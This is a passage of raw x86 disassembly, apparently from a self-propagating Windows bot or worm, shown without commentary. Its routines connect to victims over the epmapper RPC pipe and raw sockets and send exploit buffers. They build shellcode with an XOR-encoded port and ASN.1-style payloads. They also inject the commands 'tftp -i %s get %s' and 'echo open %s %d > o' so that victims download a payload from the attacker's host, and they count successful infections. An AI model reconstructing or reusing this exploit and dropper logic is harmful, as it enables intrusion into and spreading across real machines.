eax, [ebp+var_138] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call near ptr 2670000h nop cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_402E5C loc_402E4D: ; CODE XREF: sub_402DD7+126j lea eax, [ebp+arg_4] push eax call sub_402ACC pop ecx jmp loc_403055 ; --------------------------------------------------------------------------- loc_402E5C: ; CODE XREF: sub_402DD7+74j lea eax, [ebp+arg_4] push 2 push eax call sub_40D4C5 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_402EF4 mov edi, 186A0h push edi call sub_417B89 mov esi, eax push edi push ebx push esi call sub_417330 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_427648 push [ebp+var_4] call near ptr 2660831h nop cmp byte ptr [esi+2], 0Ch jnz short loc_402EE4 lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call near ptr 2660000h nop test eax, eax jnz short loc_402F02 loc_402EE4: ; CODE XREF: sub_402DD7+F3j push esi call sub_417C3B push [ebp+var_8] call sub_417C3B pop ecx pop ecx loc_402EF4: ; CODE XREF: sub_402DD7+B9j push [ebp+var_4] nop call near ptr 265089Dh jmp loc_402E4D ; --------------------------------------------------------------------------- loc_402F02: ; CODE XREF: sub_402DD7+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] nop call near ptr 2650000h push [ebp+var_8] mov edi, eax call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] nop call near ptr 265089Dh lea eax, [ebp+arg_4] push eax call sub_402ACC cmp edi, 1 pop ecx jnz loc_403066 jmp loc_403055 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402DD7+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_40D4C5 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_403055 xor ebx, ebx push ebx push 1 push 2 call dword_43AE18 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403055 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_43AD98 mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_43ADD8 mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_402FD7 push [ebp+var_4] jmp short loc_40304F ; --------------------------------------------------------------------------- loc_402FD7: ; CODE XREF: sub_402DD7+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_43AD40 cmp eax, 0FFFFFFFFh jnz short loc_402FEF loc_402FEC: ; CODE XREF: sub_402DD7+22Aj push esi jmp short loc_403048 ; --------------------------------------------------------------------------- loc_402FEF: ; CODE XREF: sub_402DD7+213j push ebx push 48h push offset dword_427648 push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_402FEC mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43ADB0 push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_403030 push [ebp+var_8] jmp short loc_403048 ; --------------------------------------------------------------------------- loc_403030: ; CODE XREF: sub_402DD7+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43ADB0 push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_403059 loc_403048: ; CODE XREF: sub_402DD7+216j ; sub_402DD7+257j call sub_417C3B pop ecx push edi loc_40304F: ; CODE XREF: sub_402DD7+1FEj call dword_43AE30 loc_403055: ; CODE XREF: sub_402DD7+31j ; sub_402DD7+80j ... xor eax, eax jmp short loc_4030C7 ; --------------------------------------------------------------------------- loc_403059: ; CODE XREF: sub_402DD7+26Fj call sub_417C3B pop ecx push edi call dword_43AE30 loc_403066: ; CODE XREF: sub_402DD7+163j lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_338] push offset unk_427B78 push eax call sub_4172B0 add esp, 0Ch loc_40307E: ; CODE XREF: sub_402DD7+2C7j lea eax, [ebp+var_338] push eax call sub_40C04D test eax, eax pop ecx jnz short loc_4030A2 push 1388h nop call near ptr 26207A4h inc ebx cmp ebx, 6 jl short loc_40307E jmp short loc_4030C4 ; --------------------------------------------------------------------------- loc_4030A2: ; CODE XREF: sub_402DD7+2B6j lea eax, [ebp+var_338] push eax call sub_40BF6D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_4030C4: ; CODE XREF: sub_402DD7+2C9j push 1 pop eax loc_4030C7: ; CODE XREF: sub_402DD7+280j pop edi pop esi pop ebx leave retn sub_402DD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030CC proc near ; DATA XREF: ___:00426004o jmp $+5 sub_4030CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4030D1 proc near push 0BB80h push 76Ch call sub_415450 pop ecx mov dword_436EE0, eax pop ecx retn sub_4030D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030E8 proc near ; CODE XREF: sub_403249+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43ADD8 mov [ebp+var_C], eax mov ax, word ptr dword_436EE0 push eax call dword_43AD98 push esi push 1 push 2 mov [ebp+var_E], ax call dword_43AE18 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403222 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_403222 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43ADB0 mov esi, offset byte_42F674 push esi push esi push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 18h push esi push esi push dword_436F0C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403222 push 1F4h nop call near ptr 26207A4h push esi push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_403226 loc_403222: ; CODE XREF: sub_4030E8+51j ; sub_4030E8+67j ... xor al, al jmp short loc_403244 ; --------------------------------------------------------------------------- loc_403226: ; CODE XREF: sub_4030E8+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43ADB0 push ebx call dword_43AE30 mov al, 1 loc_403244: ; CODE XREF: sub_4030E8+13Cj pop edi pop esi pop ebx leave retn sub_4030E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403249 proc near ; CODE XREF: ___:004037ADp ; ___:004037CFp var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_417B30 mov eax, dword_428634 push ebx mov [ebp+var_10], eax mov eax, dword_428638 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_428628 push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_403288: ; CODE XREF: sub_403249+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_403288 push 60h lea eax, [ebp+var_B4] push offset dword_4280B8 push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_417390 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC+3) push eax call sub_417AB0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_417390 mov ax, word ptr dword_436EE0 add esp, 2Ch push eax call dword_43AD98 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_427DB8 call sub_417390 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_403445 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_417330 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4284E0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_417390 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_417390 push 4 lea eax, [ebp+var_11AC] push offset loc_428620 push eax call sub_417390 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_417390 add esp, 40h push esi call sub_417AB0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_417390 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_4033FE: ; CODE XREF: sub_403249+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_4033FE mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_417330 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_417330 add esp, 18h jmp short loc_40349C ; --------------------------------------------------------------------------- loc_403445: ; CODE XREF: sub_403249+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_417330 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_417390 lea eax, [ebp+var_10] push eax call sub_417AB0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_417390 mov eax, dword_4284E0 add esp, 2Ch mov [ebp+var_768], eax loc_40349C: ; CODE XREF: sub_403249+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_417330 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_4034DB loc_4034D4: ; CODE XREF: sub_403249+2B9j ; sub_403249+2E0j ... xor al, al jmp loc_403683 ; --------------------------------------------------------------------------- loc_4034DB: ; CODE XREF: sub_403249+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 push ebx push 68h push offset dword_42811C push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 push ebx push 0A0h push offset dword_428188 push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 cmp [ebp+arg_C0], ebx jz loc_4035F1 push 68h lea eax, [ebp+var_89B4] push offset dword_428340 push eax call sub_417390 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_417390 push 70h lea eax, [ebp+var_68DC] push offset dword_4283AC push eax call sub_417390 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_417390 push 84h lea eax, [ebp+var_5DA8] push offset dword_428420 push eax call sub_417390 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403647 ; --------------------------------------------------------------------------- loc_4035F1: ; CODE XREF: sub_403249+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_42822C push eax call sub_417390 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_417390 push 90h lea eax, [ebp+var_245C] push offset off_4282AC push eax call sub_417390 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403647: ; CODE XREF: sub_403249+3A6j push eax push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push 12Ch call near ptr 26207A4h nop sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4030E8 add esp, 0BCh test al, al setnz al loc_403683: ; CODE XREF: sub_403249+28Dj pop edi pop esi pop ebx leave retn sub_403249 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_415450 xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_417330 add esp, 14h lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_43ADD8 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_43AD98 push 6 push 1 push 2 mov [ebp-12h], ax call dword_43AE18 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403790 lea eax, [ebp-14h] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_403790 push edi push 89h push offset dword_427EA0 push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403790 mov esi, 640h push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43ADB0 push edi push 0A8h push offset dword_427F2C push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43ADB0 push edi push 0DEh push offset dword_427FD8 push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43ADB0 movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40379A dec eax jz short loc_403797 loc_403790: ; CODE XREF: ___:004036EBj ; ___:00403701j ... xor eax, eax jmp loc_403817 ; --------------------------------------------------------------------------- loc_403797: ; CODE XREF: ___:0040378Ej push edi jmp short loc_4037BE ; --------------------------------------------------------------------------- loc_40379A: ; CODE XREF: ___:0040378Bj push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jnz short loc_4037DE push 1 loc_4037BE: ; CODE XREF: ___:00403798j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jz short loc_4037E5 loc_4037DE: ; CODE XREF: ___:004037BAj mov dword ptr [ebp-4], 1 loc_4037E5: ; CODE XREF: ___:004037DCj push ebx call dword_43AE30 cmp dword ptr [ebp-4], 0 jz short loc_403814 lea eax, [ebp-854h] push eax call sub_40BF6D mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_403814: ; CODE XREF: ___:004037F0j push 1 pop eax loc_403817: ; CODE XREF: ___:00403792j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40381C proc near ; CODE XREF: sub_403A90+Ep ; sub_403A90+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40381C endp ; =============== S U B R O U T I N E ======================================= sub_403826 proc near ; CODE XREF: sub_403A90+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_417B89 mov edi, eax pop ecx test edi, edi jz short loc_403858 push ebx push 0 push edi call sub_417330 push ebx push [esp+1Ch+arg_0] push edi call sub_417390 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_403858: ; CODE XREF: sub_403826+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_403826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403860 proc near ; CODE XREF: sub_40395A+18p ; sub_4039D4+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_417B89 mov esi, eax pop ecx test esi, esi jz short loc_4038AC push edi push 0 push esi call sub_417330 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_417390 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_417390 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4038AC: ; CODE XREF: sub_403860+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403860 endp ; =============== S U B R O U T I N E ======================================= sub_4038B5 proc near ; CODE XREF: sub_40395A+5Ep ; sub_40395A+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4038C5 push eax call sub_417C3B pop ecx loc_4038C5: ; CODE XREF: sub_4038B5+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4038B5 endp ; =============== S U B R O U T I N E ======================================= sub_4038CE proc near ; CODE XREF: sub_40395A+20p ; sub_403A35+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4038FB xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_4038FF loc_4038FB: ; CODE XREF: sub_4038CE+Dj xor al, al jmp short loc_403956 ; --------------------------------------------------------------------------- loc_4038FF: ; CODE XREF: sub_4038CE+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_417330 add esp, 0Ch cmp ebx, 1 jnz short loc_403924 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40393E ; --------------------------------------------------------------------------- loc_403924: ; CODE XREF: sub_4038CE+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40393E: ; CODE XREF: sub_4038CE+54j push eax call sub_417390 add esp, 0Ch push dword ptr [esi] call sub_417C3B add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_403956: ; CODE XREF: sub_4038CE+2Fj pop edi pop esi pop ebx retn sub_4038CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40395A proc near ; CODE XREF: sub_403A90+89p ; sub_403A90+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_436EF4 call sub_403860 lea ecx, [ebp+var_8] call sub_4038CE mov eax, [ebp+var_4] inc eax push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_403994 xor al, al jmp short loc_4039D0 ; --------------------------------------------------------------------------- loc_403994: ; CODE XREF: sub_40395A+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_417330 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_417390 add esp, 18h mov ecx, esi call sub_4038B5 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4038B5 mov al, 1 loc_4039D0: ; CODE XREF: sub_40395A+38j pop edi pop esi leave retn sub_40395A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039D4 proc near ; CODE XREF: sub_403A08+14p ; sub_403A25+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4039D4 endp ; =============== S U B R O U T I N E ======================================= sub_403A08 proc near ; CODE XREF: sub_403A90+F0p ; sub_403A90+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_417AB0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_4039D4 pop esi retn 4 sub_403A08 endp ; =============== S U B R O U T I N E ======================================= sub_403A25 proc near ; CODE XREF: sub_403A71+Bp ; sub_403A90+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4039D4 retn 8 sub_403A25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A35 proc near ; CODE XREF: sub_403A71+16p ; sub_403A90+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4038CE test al, al jz short loc_403A6E push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4289A7+1) call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_403A6E: ; CODE XREF: sub_403A35+Fj pop esi leave retn sub_403A35 endp ; =============== S U B R O U T I N E ======================================= sub_403A71 proc near ; CODE XREF: sub_403A90+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_403A25 test al, al jz short loc_403A8C mov ecx, esi call sub_403A35 loc_403A8C: ; CODE XREF: sub_403A71+12j pop esi retn 8 sub_403A71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A90 proc near ; CODE XREF: ___:00404315p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40381C mov edi, 408h cmp [ebp+arg_8], edi jg loc_403DE4 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_403DE4 push esi lea ecx, [ebp+var_30] call sub_40381C lea ecx, [ebp+var_20] call sub_40381C lea ecx, [ebp+var_50] call sub_40381C lea ecx, [ebp+var_18] call sub_40381C lea ecx, [ebp+var_40] call sub_40381C lea ecx, [ebp+var_38] call sub_40381C lea ecx, [ebp+var_28] call sub_40381C push 4 push offset dword_428648 lea ecx, [ebp+var_30] call sub_4039D4 push 3 push offset dword_428650 lea ecx, [ebp+var_30] call sub_4039D4 lea ecx, [ebp+var_30] call sub_40395A lea ecx, [ebp+var_30] call sub_403A35 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_42863C call sub_4039D4 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4039D4 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_4039D4 lea ecx, [ebp+var_20] call sub_40395A push offset loc_4289D0 lea ecx, [ebp+var_50] call sub_403A08 lea ecx, [ebp+var_50] call sub_40395A push esi lea eax, [ebp+var_858] push 44h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_403826 lea ecx, [ebp+var_58] call sub_40395A push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_403A71 lea ecx, [ebp+var_58] call sub_4038B5 push esi lea eax, [ebp+var_858] push 43h push eax call sub_417330 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_403A08 push 4 push offset dword_428654 lea ecx, [ebp+var_18] call sub_4039D4 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4039D4 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_4039D4 lea ecx, [ebp+var_18] call sub_40395A push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_403A25 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_403A25 lea ecx, [ebp+var_40] call sub_403A35 lea ecx, [ebp+var_18] call sub_4038B5 lea ecx, [ebp+var_50] call sub_4038B5 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_403A25 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_403A25 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_403A25 lea ecx, [ebp+var_38] call sub_403A35 lea ecx, [ebp+var_20] call sub_4038B5 lea ecx, [ebp+var_30] call sub_4038B5 lea ecx, [ebp+var_40] call sub_4038B5 push esi lea eax, [ebp+var_858] push 41h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_4039D4 lea ecx, [ebp+var_28] call sub_40395A push 2 push offset dword_4289C4 lea ecx, [ebp+var_28] call sub_4039D4 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_403A25 lea ecx, [ebp+var_28] call sub_403A35 lea ecx, [ebp+var_38] call sub_4038B5 lea ecx, [ebp+var_10] call sub_40381C lea ecx, [ebp+var_8] call sub_40381C push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_28] call sub_4038B5 push offset dword_4289C0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289BC lea ecx, [ebp+var_10] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_8] call sub_4038B5 push offset dword_4289B0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push 